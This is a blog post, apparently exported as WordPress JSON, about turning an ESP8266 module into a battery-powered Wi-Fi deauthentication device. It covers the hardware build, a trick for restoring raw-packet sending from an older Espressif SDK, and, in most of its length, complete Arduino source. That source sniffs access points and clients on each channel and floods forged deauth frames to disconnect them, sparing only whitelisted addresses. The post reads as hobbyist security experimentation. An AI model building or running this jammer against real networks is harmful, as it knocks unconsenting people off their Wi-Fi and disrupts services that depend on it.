{"id":339,"date":"2016-01-27T11:38:23","date_gmt":"2016-01-27T11:38:23","guid":{"rendered":"https:\/\/www.ludwigpro.net\/blog\/?p=339"},"modified":"2024-12-24T13:20:32","modified_gmt":"2024-12-24T13:20:32","slug":"weekend-on-the-dark-side","status":"publish","type":"post","link":"https:\/\/www.ludwigpro.net\/blog\/index.php\/weekend-on-the-dark-side\/","title":{"rendered":"Weekend on the Dark Side"},"content":{"rendered":"\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-6c531013 wp-block-group-is-layout-flex\">\n<p class=\"is-style-text-annotation is-style-text-annotation--1\"><a href=\"http:\/\/hackaday.com\/2016\/01\/30\/hacklet-93-robotics-toolkit-and-esp8266-packet-injection\/\">Hackaday Article<\/a><\/p>\n\n\n\n<p class=\"is-style-text-annotation is-style-text-annotation--2\"><a href=\"https:\/\/github.com\/RandDruid\/esp8266-deauth\">Github<\/a><\/p>\n\n\n\n<p class=\"is-style-text-annotation is-style-text-annotation--3\"><a href=\"https:\/\/hackaday.io\/project\/9333-weekend-on-the-dark-side\">Hackaday.io<\/a><\/p>\n<\/div>\n\n\n\n<p>A long time ago, I ordered several ESP8266 modules (ESP-201 modification) to create a &#8220;smart home&#8221; system, which I still haven&#8217;t finished. Not long before that, I was working on a project in the field of Wi-Fi network security, and I got quite familiar with the arsenal of utilities for working with Wi-Fi available in the widely known Kali distribution. So, when the modules finally fell into my hands, I immediately thought about whether it would be possible to use them to test attacks on Wi-Fi networks. However, after looking through the functions present in the SDK distributed at that time, I did not find anything suitable and abandoned the idea. Some time ago, an interesting article was published on Hackaday, which demonstrated a method for sending an arbitrary packet to the network. Thus, there was an opportunity to dig around over the weekend and implement the old plan.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Hardware<\/h1>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"680\" src=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/DSC0117-1024x680.jpg\" alt=\"\" class=\"wp-image-130\" style=\"width:634px;height:auto\" srcset=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/DSC0117-1024x680.jpg 1024w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/DSC0117-300x199.jpg 300w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/DSC0117-768x510.jpg 768w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/DSC0117-1536x1020.jpg 1536w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/DSC0117-2048x1360.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The device consists of the ESP module itself, a miniature DC voltage converter, two strips with holes for pins, a 9-volt battery and a corresponding connector, and four 4.7 kOhm resistors.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"759\" height=\"1024\" src=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_120253-759x1024.jpg\" alt=\"\" class=\"wp-image-135\" style=\"width:596px;height:auto\" srcset=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_120253-759x1024.jpg 759w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_120253-222x300.jpg 222w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_120253-768x1036.jpg 768w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_120253-1139x1536.jpg 1139w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_120253-1518x2048.jpg 1518w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_120253-scaled.jpg 1898w\" sizes=\"auto, (max-width: 759px) 100vw, 759px\" \/><\/figure>\n\n\n\n<p>The 9V battery connector can be salvaged from a similar old battery. The connections between the connector and the converter board and between the converter and the strips are made of thick iron wire. They hold the entire assembly together. The resistors are connected as required to start and operate the ESP module. The CHIP and RST pins are pulled up to positive, pin 15 to negative. Pin 0 is connected to a three-pin connector attached to the side of the assembly. If you put a jumper on this connector, pin 0 will be pulled to ground. In this configuration, the ESP module can be flashed using a serial port and a cable compatible with TTL levels.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"759\" height=\"1024\" src=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_095608-759x1024.jpg\" alt=\"\" class=\"wp-image-134\" style=\"width:558px;height:auto\" srcset=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_095608-759x1024.jpg 759w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_095608-222x300.jpg 222w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_095608-768x1036.jpg 768w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_095608-1139x1536.jpg 1139w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_095608-1518x2048.jpg 1518w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/IMG_20160126_095608-scaled.jpg 1898w\" sizes=\"auto, (max-width: 759px) 100vw, 759px\" \/><\/figure>\n\n\n\n<p>If the jumper is not set, after power is supplied the module starts and starts executing the program from memory. The program outputs diagnostic messages to the serial port, regardless of whether the cable is connected or not. As a bonus, when outputting to the serial port, a small LED on the surface of the ESP module blinks. Thus, you can judge that the program is still running \ud83d\ude42<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Software<\/h1>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"691\" src=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/kali-1024x691.jpg\" alt=\"\" class=\"wp-image-136\" srcset=\"https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/kali-1024x691.jpg 1024w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/kali-300x203.jpg 300w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/kali-768x519.jpg 768w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/kali-1536x1037.jpg 1536w, https:\/\/www.ludwigpro.net\/blog\/wp-content\/uploads\/2016\/01\/kali.jpg 1555w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I used the Arduino IDE (1.6.7). This development environment can work with all the boards that I currently have, and it also works on both Linux and Windows. You can start a project on Windows and, if necessary, switch to Linux or vice versa. Of course, it lacks a lot of what I am used to in richer systems like Visual Studio, but for small projects this is not so important.<br>I started with the code from the original article. First, I adapted the project to Arduino, and then I started making changes and changed almost everything. The source code of another well-known program, MDK3, was very helpful. As a result, there were a couple of places in the code that I do not fully understand and I found a working version through testing. Probably, you can dig into the standards and figure it out, but I did not have enough time for this.<br>Below is a screenshot of the system that I used to monitor the prototype. You can see how about 10 seconds after connecting the battery, the ping to the phone connected via Wi-Fi disappears. The Wireshark dump shows Deauthentication packets.<\/p>\n\n\n\n<p>The program is quite simple. It receives and recognizes Beacon packets and data packets on a given radio channel. Based on this data, it updates the lists of detected access points and clients. After about 200 milliseconds without detecting new stations, the system sends disconnection commands to all detected clients on behalf of the corresponding access points. After that, the system moves to the next channel.<\/p>\n\n\n\n<p>Different devices react differently to such an attack. One of my phones disconnected from Wi-Fi completely, and the second one disconnected temporarily, but managed to reconnect while the system was checking the other channels. For a more stable result, you can do the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>After some initial period, stop searching for new stations and just quickly disconnect the already known ones in a circle.<\/li>\n\n\n\n<li>Play with the constants, maybe my combination is not optimal.<\/li>\n\n\n\n<li>Buy 14 ESP modules, one for each channel \ud83d\ude09<\/li>\n<\/ul>\n\n\n\n<p class=\"is-style-default\">There is one subtlety when working with the SDK from Espressif. In the latest versions, they have limited the function of transferring homemade packages. BUT, in the older version of the SDK 1.3.0 there is a version of this function before the restrictions were introduced. You just need to supplement the header file &#8220;user_interface.h&#8221;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>typedef void (*freedom_outside_cb_t)(uint8 status);\n\nint wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);\n\nvoid wifi_unregister_send_pkt_freedom_cb(void);\n\nint wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);<\/code><\/code><\/pre>\n\n\n\n<p class=\"is-style-default\">It is also useful to know that the packet interception function in monitoring mode only gives access to the first 112 bytes of the packet. Thus, it will not be possible, for example, to intercept a handshake, or to remember packets for subsequent decryption. Perhaps these restrictions will be lifted in the future.<\/p>\n\n\n\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary>Source code under the cut<\/summary>\n<pre class=\"wp-block-code has-small-font-size\"><code>\/\/ Expose Espressif SDK functionality - wrapped in ifdef so that it still\n\/\/ compiles on other platforms\n#ifdef ESP8266\nextern \"C\" {\n#include \"user_interface.h\"\n}\n#endif\n\n#include &lt;ESP8266WiFi.h&gt;\n\n#define ETH_MAC_LEN 6\n#define MAX_APS_TRACKED 100\n#define MAX_CLIENTS_TRACKED 200\n\n\/\/ Put Your devices here, system will skip them on deauth\n#define WHITELIST_LENGTH 2\nuint8_t whitelist&#91;WHITELIST_LENGTH]&#91;ETH_MAC_LEN] = { { 0x77, 0xEA, 0x3A, 0x8D, 0xA7, 0xC8 }, {  0x40, 0x65, 0xA4, 0xE0, 0x24, 0xDF } };\n\n\/\/ Declare to whitelist STATIONs ONLY, otherwise STATIONs and APs can be whitelisted\n\/\/ If AP is whitelisted, all its clients become automatically whitelisted\n\/\/#define WHITELIST_STATION \n\n\/\/ Channel to perform deauth\nuint8_t channel = 0;\n\n\/\/ Packet buffer\nuint8_t packet_buffer&#91;64];\n\n\/\/ DeAuth template\nuint8_t template_da&#91;26] = {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x6a, 0x01, 0x00};\n\nuint8_t broadcast1&#91;3] = { 0x01, 0x00, 0x5e };\nuint8_t broadcast2&#91;6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };\nuint8_t broadcast3&#91;3] = { 0x33, 0x33, 0x00 };\n\nstruct beaconinfo\n{\n  uint8_t bssid&#91;ETH_MAC_LEN];\n  uint8_t ssid&#91;33];\n  int ssid_len;\n  int channel;\n  int err;\n  signed rssi;\n  uint8_t capa&#91;2];\n};\n\nstruct clientinfo\n{\n  uint8_t bssid&#91;ETH_MAC_LEN];\n  uint8_t station&#91;ETH_MAC_LEN];\n  uint8_t ap&#91;ETH_MAC_LEN];\n  int channel;\n  int err;\n  signed rssi;\n  uint16_t seq_n;\n};\n\nbeaconinfo aps_known&#91;MAX_APS_TRACKED];                    \/\/ Array to save MACs of known APs\nint aps_known_count = 0;                                  \/\/ Number of known APs\nint nothing_new = 0;\nclientinfo clients_known&#91;MAX_CLIENTS_TRACKED];            \/\/ Array to save MACs of known CLIENTs\nint clients_known_count = 0;                              \/\/ Number of known CLIENTs\n\nbool friendly_device_found = false;\nuint8_t *address_to_check;\n\nstruct beaconinfo parse_beacon(uint8_t *frame, uint16_t framelen, signed rssi)\n{\n  struct beaconinfo bi;\n  bi.ssid_len = 0;\n  bi.channel = 0;\n  bi.err = 0;\n  bi.rssi = rssi;\n  int pos = 36;\n\n  if (frame&#91;pos] == 0x00) {\n    while (pos &lt; framelen) {\n      switch (frame&#91;pos]) {\n        case 0x00: \/\/SSID\n          bi.ssid_len = (int) frame&#91;pos + 1];\n          if (bi.ssid_len == 0) {\n            memset(bi.ssid, '\\x00', 33);\n            break;\n          }\n          if (bi.ssid_len &lt; 0) {\n            bi.err = -1;\n            break;\n          }\n          if (bi.ssid_len &gt; 32) {\n            bi.err = -2;\n            break;\n          }\n          memset(bi.ssid, '\\x00', 33);\n          memcpy(bi.ssid, frame + pos + 2, bi.ssid_len);\n          bi.err = 0;  \/\/ before was error??\n          break;\n        case 0x03: \/\/Channel\n          bi.channel = (int) frame&#91;pos + 2];\n          pos = -1;\n          break;\n        default:\n          break;\n      }\n      if (pos &lt; 0) break;\n      pos += (int) frame&#91;pos + 1] + 2;\n    }\n  } else {\n    bi.err = -3;\n  }\n\n  bi.capa&#91;0] = frame&#91;34];\n  bi.capa&#91;1] = frame&#91;35];\n  memcpy(bi.bssid, frame + 10, ETH_MAC_LEN);\n\n  return bi;\n}\n\nstruct clientinfo parse_data(uint8_t *frame, uint16_t framelen, signed rssi, unsigned channel)\n{\n  struct clientinfo ci;\n  ci.channel = channel;\n  ci.err = 0;\n  ci.rssi = rssi;\n  int pos = 36;\n  uint8_t *bssid;\n  uint8_t *station;\n  uint8_t *ap;\n  uint8_t ds;\n\n  ds = frame&#91;1] &amp; 3;    \/\/Set first 6 bits to 0\n  switch (ds) {\n    \/\/ p&#91;1] - xxxx xx00 =&gt; NoDS   p&#91;4]-DST p&#91;10]-SRC p&#91;16]-BSS\n    case 0:\n      bssid = frame + 16;\n      station = frame + 10;\n      ap = frame + 4;\n      break;\n    \/\/ p&#91;1] - xxxx xx01 =&gt; ToDS   p&#91;4]-BSS p&#91;10]-SRC p&#91;16]-DST\n    case 1:\n      bssid = frame + 4;\n      station = frame + 10;\n      ap = frame + 16;\n      break;\n    \/\/ p&#91;1] - xxxx xx10 =&gt; FromDS p&#91;4]-DST p&#91;10]-BSS p&#91;16]-SRC\n    case 2:\n      bssid = frame + 10;\n      \/\/ hack - don't know why it works like this...\n      if (memcmp(frame + 4, broadcast1, 3) || memcmp(frame + 4, broadcast2, 3) || memcmp(frame + 4, broadcast3, 3)) {\n        station = frame + 16;\n        ap = frame + 4;\n      } else {\n        station = frame + 4;\n        ap = frame + 16;\n      }\n      break;\n    \/\/ p&#91;1] - xxxx xx11 =&gt; WDS    p&#91;4]-RCV p&#91;10]-TRM p&#91;16]-DST p&#91;26]-SRC\n    case 3:\n      bssid = frame + 10;\n      station = frame + 4;\n      ap = frame + 4;\n      break;\n  }\n\n  memcpy(ci.station, station, ETH_MAC_LEN);\n  memcpy(ci.bssid, bssid, ETH_MAC_LEN);\n  memcpy(ci.ap, ap, ETH_MAC_LEN);\n\n  ci.seq_n = frame&#91;23] * 0xFF + (frame&#91;22] &amp; 0xF0);\n\n  return ci;\n}\n\nint register_beacon(beaconinfo beacon)\n{\n  int known = 0;   \/\/ Clear known flag\n  for (int u = 0; u &lt; aps_known_count; u++)\n  {\n    if (! memcmp(aps_known&#91;u].bssid, beacon.bssid, ETH_MAC_LEN)) {\n      known = 1;\n      break;\n    }   \/\/ AP known =&gt; Set known flag\n  }\n  if (! known)  \/\/ AP is NEW, copy MAC to array and return it\n  {\n    memcpy(&amp;aps_known&#91;aps_known_count], &amp;beacon, sizeof(beacon));\n    aps_known_count++;\n\n    if ((unsigned int) aps_known_count &gt;=\n        sizeof (aps_known) \/ sizeof (aps_known&#91;0]) ) {\n      Serial.printf(\"exceeded max aps_known\\n\");\n      aps_known_count = 0;\n    }\n  }\n  return known;\n}\n\nint register_client(clientinfo ci)\n{\n  int known = 0;   \/\/ Clear known flag\n  for (int u = 0; u &lt; clients_known_count; u++)\n  {\n    if (! memcmp(clients_known&#91;u].station, ci.station, ETH_MAC_LEN)) {\n      known = 1;\n      break;\n    }\n  }\n  if (! known)\n  {\n    memcpy(&amp;clients_known&#91;clients_known_count], &amp;ci, sizeof(ci));\n    clients_known_count++;\n\n    if ((unsigned int) clients_known_count &gt;=\n        sizeof (clients_known) \/ sizeof (clients_known&#91;0]) ) {\n      Serial.printf(\"exceeded max clients_known\\n\");\n      clients_known_count = 0;\n    }\n  }\n  return known;\n}\n\nvoid print_beacon(beaconinfo beacon)\n{\n  if (beacon.err != 0) {\n    \/\/Serial.printf(\"BEACON ERR: (%d)  \", beacon.err);\n  } else {\n    Serial.printf(\"BEACON: &#91;%32s]  \", beacon.ssid);\n    for (int i = 0; i &lt; 6; i++) Serial.printf(\"%02x\", beacon.bssid&#91;i]);\n    Serial.printf(\"   %2d\", beacon.channel);\n    Serial.printf(\"   %4d\\r\\n\", beacon.rssi);\n  }\n}\n\nvoid print_client(clientinfo ci)\n{\n  int u = 0;\n  int known = 0;   \/\/ Clear known flag\n  if (ci.err != 0) {\n  } else {\n    Serial.printf(\"CLIENT: \");\n    for (int i = 0; i &lt; 6; i++) Serial.printf(\"%02x\", ci.station&#91;i]);\n    Serial.printf(\" works with: \");\n    for (u = 0; u &lt; aps_known_count; u++)\n    {\n      if (! memcmp(aps_known&#91;u].bssid, ci.bssid, ETH_MAC_LEN)) {\n        Serial.printf(\"&#91;%32s]\", aps_known&#91;u].ssid);\n        known = 1;\n        break;\n      }   \/\/ AP known =&gt; Set known flag\n    }\n    if (! known)  {\n      Serial.printf(\"%22s\", \" \");\n      for (int i = 0; i &lt; 6; i++) Serial.printf(\"%02x\", ci.bssid&#91;i]);\n    }\n\n    Serial.printf(\"%5s\", \" \");\n    for (int i = 0; i &lt; 6; i++) Serial.printf(\"%02x\", ci.ap&#91;i]);\n    Serial.printf(\"%5s\", \" \");\n\n    if (! known) {\n      Serial.printf(\"   %3d\", ci.channel);\n    } else {\n      Serial.printf(\"   %3d\", aps_known&#91;u].channel);\n    }\n    Serial.printf(\"   %4d\\r\\n\", ci.rssi);\n  }\n}\n\n\/* ==============================================\n   Promiscous callback structures, see ESP manual\n   ============================================== *\/\n\nstruct RxControl {\n  signed rssi: 8;\n  unsigned rate: 4;\n  unsigned is_group: 1;\n  unsigned: 1;\n  unsigned sig_mode: 2;\n  unsigned legacy_length: 12;\n  unsigned damatch0: 1;\n  unsigned damatch1: 1;\n  unsigned bssidmatch0: 1;\n  unsigned bssidmatch1: 1;\n  unsigned MCS: 7;\n  unsigned CWB: 1;\n  unsigned HT_length: 16;\n  unsigned Smoothing: 1;\n  unsigned Not_Sounding: 1;\n  unsigned: 1;\n  unsigned Aggregation: 1;\n  unsigned STBC: 2;\n  unsigned FEC_CODING: 1;\n  unsigned SGI: 1;\n  unsigned rxend_state: 8;\n  unsigned ampdu_cnt: 8;\n  unsigned channel: 4;\n  unsigned: 12;\n};\n\nstruct LenSeq {\n  uint16_t length;\n  uint16_t seq;\n  uint8_t  address3&#91;6];\n};\n\nstruct sniffer_buf {\n  struct RxControl rx_ctrl;\n  uint8_t buf&#91;36];\n  uint16_t cnt;\n  struct LenSeq lenseq&#91;1];\n};\n\nstruct sniffer_buf2 {\n  struct RxControl rx_ctrl;\n  uint8_t buf&#91;112];\n  uint16_t cnt;\n  uint16_t len;\n};\n\n\n\/* Creates a packet.\n\n   buf - reference to the data array to write packet to;\n   client - MAC address of the client;\n   ap - MAC address of the acces point;\n   seq - sequence number of 802.11 packet;\n\n   Returns: size of the packet\n*\/\nuint16_t create_packet(uint8_t *buf, uint8_t *c, uint8_t *ap, uint16_t seq)\n{\n  int i = 0;\n\n  memcpy(buf, template_da, 26);\n  \/\/ Destination\n  memcpy(buf + 4, c, ETH_MAC_LEN);\n  \/\/ Sender\n  memcpy(buf + 10, ap, ETH_MAC_LEN);\n  \/\/ BSS\n  memcpy(buf + 16, ap, ETH_MAC_LEN);\n  \/\/ Seq_n\n  buf&#91;22] = seq % 0xFF;\n  buf&#91;23] = seq \/ 0xFF;\n\n  return 26;\n}\n\n\/* Sends deauth packets. *\/\nvoid deauth(uint8_t *c, uint8_t *ap, uint16_t seq)\n{\n  uint8_t i = 0;\n  uint16_t sz = 0;\n  for (i = 0; i &lt; 0x10; i++) {\n    sz = create_packet(packet_buffer, c, ap, seq + 0x10 * i);\n    wifi_send_pkt_freedom(packet_buffer, sz, 0);\n    delay(1);\n  }\n}\n\nvoid promisc_cb(uint8_t *buf, uint16_t len)\n{\n  int i = 0;\n  uint16_t seq_n_new = 0;\n  if (len == 12) {\n    struct RxControl *sniffer = (struct RxControl*) buf;\n  } else if (len == 128) {\n    struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;\n    struct beaconinfo beacon = parse_beacon(sniffer-&gt;buf, 112, sniffer-&gt;rx_ctrl.rssi);\n    if (register_beacon(beacon) == 0) {\n      print_beacon(beacon);\n      nothing_new = 0;\n    }\n  } else {\n    struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;\n    \/\/Is data or QOS?\n    if ((sniffer-&gt;buf&#91;0] == 0x08) || (sniffer-&gt;buf&#91;0] == 0x88)) {\n      struct clientinfo ci = parse_data(sniffer-&gt;buf, 36, sniffer-&gt;rx_ctrl.rssi, sniffer-&gt;rx_ctrl.channel);\n      if (memcmp(ci.bssid, ci.station, ETH_MAC_LEN)) {\n        if (register_client(ci) == 0) {\n          print_client(ci);\n          nothing_new = 0;\n        }\n      }\n    }\n  }\n}\n\nbool check_whitelist(uint8_t *macAdress){\n  unsigned int i=0;\n  for (i=0; i&lt;WHITELIST_LENGTH; i++) {\n    if (! memcmp(macAdress, whitelist&#91;i], ETH_MAC_LEN)) return true;\n  }\n  return false;\n}\n\nvoid setup() {\n  Serial.begin(115200);\n  Serial.printf(\"\\n\\nSDK version:%s\\n\", system_get_sdk_version());\n\n  \/\/ Promiscuous works only with station mode\n  wifi_set_opmode(STATION_MODE);\n\n  \/\/ Set up promiscuous callback\n  wifi_set_channel(1);\n  wifi_promiscuous_enable(0);\n  wifi_set_promiscuous_rx_cb(promisc_cb);\n  wifi_promiscuous_enable(1);\n}\n\nvoid loop() {\n  while (true) {\n\n    channel = 1;\n    wifi_set_channel(channel);\n    while (true) {\n      nothing_new++;\n      if (nothing_new &gt; 200) {\n        nothing_new = 0;\n\n        wifi_promiscuous_enable(0);\n        wifi_set_promiscuous_rx_cb(0);\n        wifi_promiscuous_enable(1);\n        for (int ua = 0; ua &lt; aps_known_count; ua++) {\n          if (aps_known&#91;ua].channel == channel) {\n            for (int uc = 0; uc &lt; clients_known_count; uc++) {\n              if (! memcmp(aps_known&#91;ua].bssid, clients_known&#91;uc].bssid, ETH_MAC_LEN)) {\n#ifdef WHITELIST_STATION\n                address_to_check = clients_known&#91;uc].station;\n#else\n                address_to_check = clients_known&#91;uc].ap;\n#endif\n                if (check_whitelist(address_to_check)) {\n                  friendly_device_found = true;\n                  Serial.print(\"Whitelisted --&gt;\");\n                  print_client(clients_known&#91;uc]);\n                } else {\n                  Serial.print(\"DeAuth to ----&gt;\");\n                  print_client(clients_known&#91;uc]);\n                  deauth(clients_known&#91;uc].station, clients_known&#91;uc].bssid, clients_known&#91;uc].seq_n);\n                }\n                break;\n              }\n            }\n            if (!friendly_device_found) deauth(broadcast2, aps_known&#91;ua].bssid, 128);\n            friendly_device_found = false;\n          }\n        }\n        wifi_promiscuous_enable(0);\n        wifi_set_promiscuous_rx_cb(promisc_cb);\n        wifi_promiscuous_enable(1);\n\n        channel++;\n        if (channel == 15) break;\n        wifi_set_channel(channel);\n      }\n      delay(1);\n\n      if ((Serial.available() &gt; 0) &amp;&amp; (Serial.read() == '\\n')) {\n        Serial.println(\"\\n-------------------------------------------------------------------------\\n\");\n        for (int u = 0; u &lt; aps_known_count; u++) print_beacon(aps_known&#91;u]);\n        for (int u = 0; u &lt; clients_known_count; u++) print_client(clients_known&#91;u]);\n        Serial.println(\"\\n-------------------------------------------------------------------------\\n\");\n      }\n    }\n  }\n}<\/code><\/pre>\n<\/details>\n","protected":false},"excerpt":{"rendered":"<p>Hackaday Article Github Hackaday.io A long time ago, I ordered several ESP8266 modules (ESP-201 modification) to create a &#8220;smart home&#8221; system, which I still haven&#8217;t finished. Not long before that, I was working on a project in the field of Wi-Fi network security, and I got quite familiar with the arsenal of utilities for working [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":134,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,9,5],"tags":[],"class_list":["post-339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arduino","category-esp8266","category-programming"],"_links":{"self":[{"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/posts\/339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=339"}],"version-history":[{"count":5,"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/posts\/339\/revisions"}],"predecessor-version":[{"id":365,"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/posts\/339\/revisions\/365"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/media\/134"}],"wp:attachment":[{"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ludwigpro.net\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}